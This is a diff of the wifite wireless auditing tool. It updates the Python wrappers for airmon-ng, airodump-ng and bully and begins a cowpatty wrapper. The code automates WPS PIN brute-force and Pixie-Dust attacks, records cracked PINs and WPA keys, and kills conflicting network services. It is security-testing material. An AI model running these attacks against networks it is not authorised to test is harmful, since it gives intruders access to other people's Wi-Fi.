self.chipset = chipset self.chipset = chipset
self.mac_address = Ifconfig.get_mac(interface)
# Max length of fields. # Max length of fields.
# Used for printing a table of interfaces. # Used for printing a table of interfaces.
@@ -76,7 +75,7 @@ class Airmon(Dependency):
''' Prints menu ''' ''' Prints menu '''
print(AirmonIface.menu_header()) print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1): for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface)) Color.pl(' {G}%d{W}. %s' % (idx, iface))
def get(self, index): def get(self, index):
''' Gets interface at index (starts at 1) ''' ''' Gets interface at index (starts at 1) '''
@@ -101,6 +100,9 @@ class Airmon(Dependency):
if phy == 'PHY' or phy == 'Interface': if phy == 'PHY' or phy == 'Interface':
continue # Header continue # Header
if len(interface.strip()) == 0:
continue
interfaces.append(AirmonIface(phy, interface, driver, chipset)) interfaces.append(AirmonIface(phy, interface, driver, chipset))
return interfaces return interfaces
@@ -164,10 +166,10 @@ class Airmon(Dependency):
iface_name = iface iface_name = iface
driver = None driver = None
# Remember this as the "base" interface. # Remember this as the 'base' interface.
Airmon.base_interface = iface_name Airmon.base_interface = iface_name
Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface_name) Color.p('{+} enabling {G}monitor mode{W} on {C}%s{W}... ' % iface_name)
airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout() airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()
@@ -178,22 +180,22 @@ class Airmon(Dependency):
enabled_iface = Airmon.start_bad_driver(iface_name) enabled_iface = Airmon.start_bad_driver(iface_name)
if enabled_iface is None: if enabled_iface is None:
Color.pl("{R}failed{W}") Color.pl('{R}failed{W}')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
# Assert that there is an interface in monitor mode # Assert that there is an interface in monitor mode
if len(monitor_interfaces) == 0: if len(monitor_interfaces) == 0:
Color.pl("{R}failed{W}") Color.pl('{R}failed{W}')
raise Exception("Cannot find any interfaces in Mode:Monitor") raise Exception('Cannot find any interfaces in Mode:Monitor')
# Assert that the interface enabled by airmon-ng is in monitor mode # Assert that the interface enabled by airmon-ng is in monitor mode
if enabled_iface not in monitor_interfaces: if enabled_iface not in monitor_interfaces:
Color.pl("{R}failed{W}") Color.pl('{R}failed{W}')
raise Exception("Cannot find %s with Mode:Monitor" % enabled_iface) raise Exception('Cannot find %s with Mode:Monitor' % enabled_iface)
# No errors found; the device 'enabled_iface' was put into Mode:Monitor. # No errors found; the device 'enabled_iface' was put into Mode:Monitor.
Color.pl("{G}enabled {C}%s{W}" % enabled_iface) Color.pl('{G}enabled {C}%s{W}' % enabled_iface)
return enabled_iface return enabled_iface
@@ -202,7 +204,7 @@ class Airmon(Dependency):
'''Find the interface put into monitor mode (if any)''' '''Find the interface put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') enabled_re = re.compile(r'.*\(mac80211 monitor mode (?:vif )?enabled (?:for [^ ]+ )?on (?:\[\w+\])?(\w+)\)?.*')
for line in airmon_output.split('\n'): for line in airmon_output.split('\n'):
matches = enabled_re.match(line) matches = enabled_re.match(line)
@@ -214,7 +216,7 @@ class Airmon(Dependency):
@staticmethod @staticmethod
def stop(iface): def stop(iface):
Color.p("{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... " % iface) Color.p('{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... ' % iface)
airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()
@@ -275,27 +277,28 @@ class Airmon(Dependency):
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}') Color.p('\n{+} Looking for {C}wireless interfaces{W}...')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
if len(monitor_interfaces) == 1: if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode # Assume we're using the device already in montior mode
iface = monitor_interfaces[0] iface = monitor_interfaces[0]
Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); Color.clear_entire_line()
Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Color.pl('{+} Using {G}%s{W} already in monitor mode' % iface);
Airmon.base_interface = None Airmon.base_interface = None
return iface return iface
Color.clear_entire_line()
Color.p('{+} Checking {C}airmon-ng{W}...')
a = Airmon() a = Airmon()
count = len(a.interfaces) count = len(a.interfaces)
if count == 0: if count == 0:
# No interfaces found # No interfaces found
Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces') Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
Color.pl('{!} {O}make sure your wireless device is connected') Color.pl('{!} {O}Make sure your wireless device is connected')
Color.pl('{!} {O}see {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}') Color.pl('{!} {O}See {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')
raise Exception('airmon-ng did not find any wireless interfaces') raise Exception('airmon-ng did not find any wireless interfaces')
Color.pl('') Color.clear_entire_line()
a.print_menu() a.print_menu()
Color.pl('') Color.pl('')
@@ -305,7 +308,7 @@ class Airmon(Dependency):
choice = 1 choice = 1
else: else:
# Multiple interfaces found # Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count)) question = Color.s('{+} Select wireless interface ({G}1-%d{W}): ' % (count))
choice = raw_input(question) choice = raw_input(question)
iface = a.get(choice) iface = a.get(choice)
@@ -341,45 +344,55 @@ class Airmon(Dependency):
if not Configuration.kill_conflicting_processes: if not Configuration.kill_conflicting_processes:
# Don't kill processes, warn user # Don't kill processes, warn user
for pid, pname in pid_pnames: names_and_pids = ', '.join([
Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid)) '{R}%s{O} (PID {R}%s{O})' % (pname, pid)
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') for pid, pname in pid_pnames
])
Color.pl('{!} {O}Conflicting processes: %s' % names_and_pids)
Color.pl('{!} {O}If you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return return
Color.pl('{!} {O}killing {R}%d {O}conflicting processes' % len(pid_pnames)) Color.pl('{!} {O}Killing {R}%d {O}conflicting processes' % len(pid_pnames))
for pid, pname in pid_pnames: for pid, pname in pid_pnames:
if pname == 'NetworkManager' and Process.exists('service'): if pname == 'NetworkManager' and Process.exists('service'):
Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})') Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')
# Can't just pkill network manager; it's a service # Can't just pkill network manager; it's a service
Process(['service', 'network-manager', 'stop']).wait() Process(['service', 'network-manager', 'stop']).wait()
Airmon.killed_network_manager = True Airmon.killed_network_manager = True
elif pname == 'avahi-daemon' and Process.exists('service'):
Color.pl('{!} {O}stopping avahi-daemon ({R}service avahi-daemon stop{O})')
# Can't just pkill avahi-daemon; it's a service
Process(['service', 'avahi-daemon', 'stop']).wait()
else: else:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) Color.pl('{!} {R}Terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
try:
os.kill(int(pid), signal.SIGTERM) os.kill(int(pid), signal.SIGTERM)
except:
pass
@staticmethod @staticmethod
def put_interface_up(iface): def put_interface_up(iface):
Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface)) Color.p('{!} {O}putting interface {R}%s up{O}...' % (iface))
Ifconfig.up(iface) Ifconfig.up(iface)
Color.pl(" {G}done{W}") Color.pl(' {G}done{W}')
@staticmethod @staticmethod
def start_network_manager(): def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...") Color.p('{!} {O}restarting {R}NetworkManager{O}...')
if Process.exists('service'): if Process.exists('service'):
cmd = 'service network-manager start' cmd = 'service network-manager start'
proc = Process(cmd) proc = Process(cmd)
(out, err) = proc.get_output() (out, err) = proc.get_output()
if proc.poll() != 0: if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd) Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != "": if out is not None and out.strip() != '':
Color.pl("{!} {O}STDOUT> %s{W}" % out) Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != "": if err is not None and err.strip() != '':
Color.pl("{!} {O}STDERR> %s{W}" % err) Color.pl('{!} {O}STDERR> %s{W}' % err)
else: else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd) Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return return
if Process.exists('systemctl'): if Process.exists('systemctl'):
@@ -387,20 +400,40 @@ class Airmon(Dependency):
proc = Process(cmd) proc = Process(cmd)
(out, err) = proc.get_output() (out, err) = proc.get_output()
if proc.poll() != 0: if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd) Color.pl(' {R}Error executing {O}%s{W}' % cmd)
if out is not None and out.strip() != "": if out is not None and out.strip() != '':
Color.pl("{!} {O}STDOUT> %s{W}" % out) Color.pl('{!} {O}STDOUT> %s{W}' % out)
if err is not None and err.strip() != "": if err is not None and err.strip() != '':
Color.pl("{!} {O}STDERR> %s{W}" % err) Color.pl('{!} {O}STDERR> %s{W}' % err)
else: else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd) Color.pl(' {G}done{W} ({C}%s{W})' % cmd)
return return
else: else:
Color.pl(" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}") Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}')
if __name__ == '__main__': if __name__ == '__main__':
Airmon.terminate_conflicting_processes() stdout = '''
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'
PID Name
5563 avahi-daemon
5564 avahi-daemon
PHY Interface Driver Chipset
phy0 wlx00c0ca4ecae0 rtl8187 Realtek Semiconductor Corp. RTL8187
Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx00c0ca4ecae0)
'''
start_iface = Airmon._parse_airmon_start(stdout)
print('start_iface from stdout:', start_iface)
Configuration.initialize(False)
iface = Airmon.ask() iface = Airmon.ask()
(disabled_iface, enabled_iface) = Airmon.stop(iface) (disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface) print('Disabled:', disabled_iface)
print("Enabled:", enabled_iface) print('Enabled:', enabled_iface)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -27,7 +27,7 @@ class Airodump(Dependency):
if interface is None: if interface is None:
interface = Configuration.interface interface = Configuration.interface
if interface is None: if interface is None:
raise Exception("Wireless interface must be defined (-i)") raise Exception('Wireless interface must be defined (-i)')
self.interface = interface self.interface = interface
self.targets = [] self.targets = []
@@ -137,7 +137,7 @@ class Airodump(Dependency):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil)) os.remove(os.path.join(temp_dir, fil))
def get_targets(self, apply_filter=True): def get_targets(self, old_targets=[], apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets ''' ''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file # Find the .CSV file
@@ -150,13 +150,17 @@ class Airodump(Dependency):
return self.targets # No file found return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename) targets = Airodump.get_targets_from_csv(csv_filename)
for old_target in old_targets:
for target in targets:
if old_target.bssid == target.bssid:
target.wps = old_target.wps
# Check targets for WPS # Check targets for WPS
if not self.skip_wps: if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap' capfile = csv_filename[:-3] + 'cap'
try: try:
Tshark.check_for_wps_and_update_targets(capfile, targets) Tshark.check_for_wps_and_update_targets(capfile, targets)
except Exception as e: except ValueError:
# No tshark, or it failed. Fall-back to wash # No tshark, or it failed. Fall-back to wash
Wash.check_for_wps_and_update_targets(capfile, targets) Wash.check_for_wps_and_update_targets(capfile, targets)
@@ -178,9 +182,6 @@ class Airodump(Dependency):
new_target.decloaked = True new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid) self.decloaked_bssids.add(new_target.bssid)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets self.targets = targets
self.deauth_hidden_targets() self.deauth_hidden_targets()
@@ -192,10 +193,9 @@ class Airodump(Dependency):
'''Returns list of Target objects parsed from CSV file.''' '''Returns list of Target objects parsed from CSV file.'''
targets = [] targets = []
import csv import csv
with open(csv_filename, 'rb') as csvopen: with open(csv_filename, 'r') as csvopen:
lines = [] lines = []
for line in csvopen: for line in csvopen:
if type(line) is bytes: line = line.decode('utf-8')
line = line.replace('\0', '') line = line.replace('\0', '')
lines.append(line) lines.append(line)
csv_reader = csv.reader(lines, csv_reader = csv.reader(lines,
@@ -206,22 +206,22 @@ class Airodump(Dependency):
hit_clients = False hit_clients = False
for row in csv_reader: for row in csv_reader:
# Each "row" is a list of fields for a target/client # Each 'row' is a list of fields for a target/client
if len(row) == 0: continue if len(row) == 0: continue
if row[0].strip() == 'BSSID': if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets # This is the 'header' for the list of Targets
hit_clients = False hit_clients = False
continue continue
elif row[0].strip() == 'Station MAC': elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients # This is the 'header' for the list of Clients
hit_clients = True hit_clients = True
continue continue
if hit_clients: if hit_clients:
# The current row corresponds to a "Client" (computer) # The current row corresponds to a 'Client' (computer)
try: try:
client = Client(row) client = Client(row)
except (IndexError, ValueError) as e: except (IndexError, ValueError) as e:
@@ -239,7 +239,7 @@ class Airodump(Dependency):
break break
else: else:
# The current row corresponds to a "Target" (router) # The current row corresponds to a 'Target' (router)
try: try:
target = Target(row) target = Target(row)
targets.append(target) targets.append(target)
@@ -260,7 +260,7 @@ class Airodump(Dependency):
result.append(target) result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target) result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps: elif 'WPS' in Configuration.encryption_filter and target.wps != False:
result.append(target) result.append(target)
elif skip_wps: elif skip_wps:
result.append(target) result.append(target)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -18,37 +18,50 @@ class Bully(Attack, Dependency):
dependency_name = 'bully' dependency_name = 'bully'
dependency_url = 'https://github.com/aanarchyy/bully' dependency_url = 'https://github.com/aanarchyy/bully'
def __init__(self, target): def __init__(self, target, pixie_dust=True):
super(Bully, self).__init__(target) super(Bully, self).__init__(target)
self.target = target
self.pixie_dust = pixie_dust
self.total_attempts = 0
self.total_timeouts = 0 self.total_timeouts = 0
self.total_failures = 0 self.total_failures = 0
self.locked = False self.locked = False
self.state = "{O}Waiting for beacon{W}" self.state = '{O}Waiting for beacon{W}'
self.start_time = time.time() self.start_time = time.time()
self.last_pin = ""
self.pins_remaining = -1
self.eta = ''
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None self.crack_result = None
self.target = target
self.cmd = [] self.cmd = []
if Process.exists('stdbuf'): if Process.exists('stdbuf'):
self.cmd.extend([ self.cmd.extend([
"stdbuf", "-o0" # No buffer. See https://stackoverflow.com/a/40453613/7510292 'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292
]) ])
self.cmd.extend([ self.cmd.extend([
"bully", 'bully',
"--bssid", target.bssid, '--bssid', target.bssid,
"--channel", target.channel, '--channel', target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP #'--detectlock', # Detect WPS lockouts unreported by AP
"--force",
"-v", "4", # Restoring session from '/root/.bully/34210901927c.run'
"--pixiewps", # WARNING: WPS checksum was bruteforced in prior session, now autogenerated
# Use --force to ignore above warning(s) and continue anyway
'--force',
'-v', '4',
Configuration.interface Configuration.interface
]) ])
if self.pixie_dust:
self.cmd.insert(-1, '--pixiewps')
self.bully_proc = None self.bully_proc = None
@@ -58,7 +71,7 @@ class Bully(Attack, Dependency):
skip_wps=True, skip_wps=True,
output_file_prefix='wps_pin') as airodump: output_file_prefix='wps_pin') as airodump:
# Wait for target # Wait for target
self.pattack("Waiting for target to appear...") self.pattack('Waiting for target to appear...')
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
# Start bully # Start bully
@@ -73,36 +86,7 @@ class Bully(Attack, Dependency):
t.start() t.start()
try: try:
while self.bully_proc.poll() is None: self._run(airodump)
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
self.stop()
return
time.sleep(0.5)
except KeyboardInterrupt as e: except KeyboardInterrupt as e:
self.stop() self.stop()
raise e raise e
@@ -111,20 +95,80 @@ class Bully(Attack, Dependency):
raise e raise e
if self.crack_result is None: if self.crack_result is None:
self.pattack("{R}Failed{W}", newline=True) self.pattack('{R}Failed{W}', newline=True)
def _run(self, airodump):
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pexception(e)
self.stop()
break
# Update status
self.pattack(self.get_status())
# Thresholds only apply to Pixie-Dust
if self.pixie_dust:
# Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
Configuration.wps_pixie_timeout), newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
Configuration.wps_timeout_threshold), newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
Configuration.wps_fail_threshold), newline=True)
self.stop()
return
else:
if self.locked and not Configuration.wps_ignore_lock:
self.pattack('{R}Failed: {O}AP became {R}Locked{O}', newline=True)
self.stop()
return
time.sleep(0.5)
def pattack(self, message, newline=False): def pattack(self, message, newline=False):
# Print message with attack information. # Print message with attack information.
if self.pixie_dust:
# Count down
time_left = Configuration.wps_pixie_timeout - self.running_time() time_left = Configuration.wps_pixie_timeout - self.running_time()
attack_name = 'Pixie-Dust'
else:
# Count up
time_left = self.running_time()
attack_name = 'PIN Attack'
if self.eta:
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
else:
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
if self.pins_remaining >= 0:
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
else:
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
Color.clear_entire_line() Color.clear_entire_line()
Color.pattack("WPS", Color.pattack('WPS', self.target, attack_name,
self.target, '{W}[%s] %s' % (time_msg, message))
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline: if newline:
Color.pl("") Color.pl('')
def running_time(self): def running_time(self):
@@ -136,13 +180,13 @@ class Bully(Attack, Dependency):
meta_statuses = [] meta_statuses = []
if self.total_timeouts > 0: if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts) meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_failures > 0: if self.total_failures > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures) meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
if self.locked: if self.locked:
meta_statuses.append("{R}Locked{W}") meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0: if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses) main_status += ' (%s)' % ', '.join(meta_statuses)
@@ -151,9 +195,10 @@ class Bully(Attack, Dependency):
def parse_line_thread(self): def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""): for line in iter(self.bully_proc.pid.stdout.readline, b''):
if line == "": continue if line == '': continue
line = line.replace("\r", "").replace("\n", "").strip() line = line.decode('utf-8')
line = line.replace('\r', '').replace('\n', '').strip()
if Configuration.verbose > 1: if Configuration.verbose > 1:
Color.pe('\n{P} [bully:stdout] %s' % line) Color.pe('\n{P} [bully:stdout] %s' % line)
@@ -189,9 +234,9 @@ class Bully(Attack, Dependency):
if self.cracked_pin is not None: if self.cracked_pin is not None:
# Mention the PIN & that we're not done yet. # Mention the PIN & that we're not done yet.
self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True) self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
self.state = "{G}Finding PSK...{C}" self.state = '{G}Finding Key...{C}'
time.sleep(2) time.sleep(2)
########################### ###########################
@@ -201,13 +246,13 @@ class Bully(Attack, Dependency):
self.cracked_key = key_re.group(1) self.cracked_key = key_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key: if not self.crack_result and self.cracked_pin and self.cracked_key:
self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True) self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
self.crack_result = CrackResultWPS( self.crack_result = CrackResultWPS(
self.target.bssid, self.target.bssid,
self.target.essid, self.target.essid,
self.cracked_pin, self.cracked_pin,
self.cracked_key) self.cracked_key)
Color.pl("") Color.pl('')
self.crack_result.dump() self.crack_result.dump()
return self.crack_result return self.crack_result
@@ -220,60 +265,92 @@ class Bully(Attack, Dependency):
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon: if got_beacon:
# group(1)=ESSID, group(2)=BSSID # group(1)=ESSID, group(2)=BSSID
state = "Got beacon" state = 'Got beacon'
# [+] Last State = 'NoAssoc' Next pin '48855501' # [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state: if last_state:
# group(1)=result, group(2)=PIN # group(1)=NoAssoc, group(2)=PIN
pin = last_state.group(2) pin = last_state.group(2)
state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1)) if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
state = 'Trying PIN'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) mx_result_pin = re.search(
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin: if mx_result_pin:
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
self.locked = False self.locked = False
# group(1)=M3/M5, group(2)=result, group(3)=PIN
m_state = mx_result_pin.group(1) m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3) pin = mx_result_pin.group(3)
if pin != self.last_pin:
self.last_pin = pin
self.total_attempts += 1
if self.pins_remaining > 0:
self.pins_remaining -= 1
if result == "Timeout": if result in ['Pin1Bad', 'Pin2Bad']:
result = '{G}%s{W}' % result
elif result == 'Timeout':
self.total_timeouts += 1 self.total_timeouts += 1
result = "{O}%s{W}" % result result = '{O}%s{W}' % result
elif result == "WPSFail": elif result == 'WPSFail':
self.total_failures += 1 self.total_failures += 1
result = "{O}%s{W}" % result result = '{O}%s{W}' % result
elif result == "NoAssoc": elif result == 'NoAssoc':
result = "{O}%s{W}" % result result = '{O}%s{W}' % result
else: else:
result = "{R}%s{W}" % result result = '{R}%s{W}' % result
result = "{P}%s{W}:%s" % (m_state.strip(), result.strip()) result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
state = "Trying PIN {C}%s{W} (%s)" % (pin, result) state = 'Trying PIN (%s)' % result
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
if re_tested:
# group(1)=01:23:45, group(2)=1234
self.total_attempts = int(re_tested.group(2))
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
if re_remaining:
self.pins_remaining = int(re_remaining.group(1))
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
re_eta = re.search(
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
if re_eta:
h, m, s = re_eta.groups()
self.eta = '%sh%sm%ss' % (
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
# [!] WPS lockout reported, sleeping for 43 seconds ... # [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout: if re_lockout:
self.locked = True self.locked = True
sleeping = re_lockout.group(1) sleeping = re_lockout.group(1)
state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
# [Pixie-Dust] WPS pin not found # [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if re_pin_not_found: if re_pin_not_found:
state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}" state = '{R}Failed: {O}Bully says "WPS pin not found"{W}'
# [+] Running pixiewps with the information, wait ... # [+] Running pixiewps with the information, wait ...
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
if re_running_pixiewps: if re_running_pixiewps:
state = "{G}Running pixiewps...{W}" state = '{G}Running pixiewps...{W}'
return state return state
def stop(self): def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None: if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
self.pid.interrupt() self.pid.interrupt()
@@ -283,7 +360,7 @@ class Bully(Attack, Dependency):
@staticmethod @staticmethod
def get_psk_from_pin(target, pin): def get_psk_from_pin(target, pin):
# Fetches PSK from a Target assuming "pin" is the correct PIN # Fetches PSK from a Target assuming 'pin' is the correct PIN
''' '''
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
PIN : '01030365' PIN : '01030365'
@@ -319,7 +396,7 @@ if __name__ == '__main__':
fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')
target = Target(fields) target = Target(fields)
psk = Bully.get_psk_from_pin(target, '01030365') psk = Bully.get_psk_from_pin(target, '01030365')
print("psk", psk) print('psk', psk)
''' '''
stdout = " [*] Pin is '11867722', key is '9a6f7997'" stdout = " [*] Pin is '11867722', key is '9a6f7997'"

41
wifite/tools/cowpatty.py Normal file
View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.hashcat import HcxPcapTool
import os
import re
class Cowpatty(Dependency):
''' Wrapper for Cowpatty program. '''
dependency_required = False
dependency_name = 'cowpatty'
dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty'
@staticmethod
def crack_handshake(handshake, show_command=False):
# Crack john file
command = [
'cowpatty',
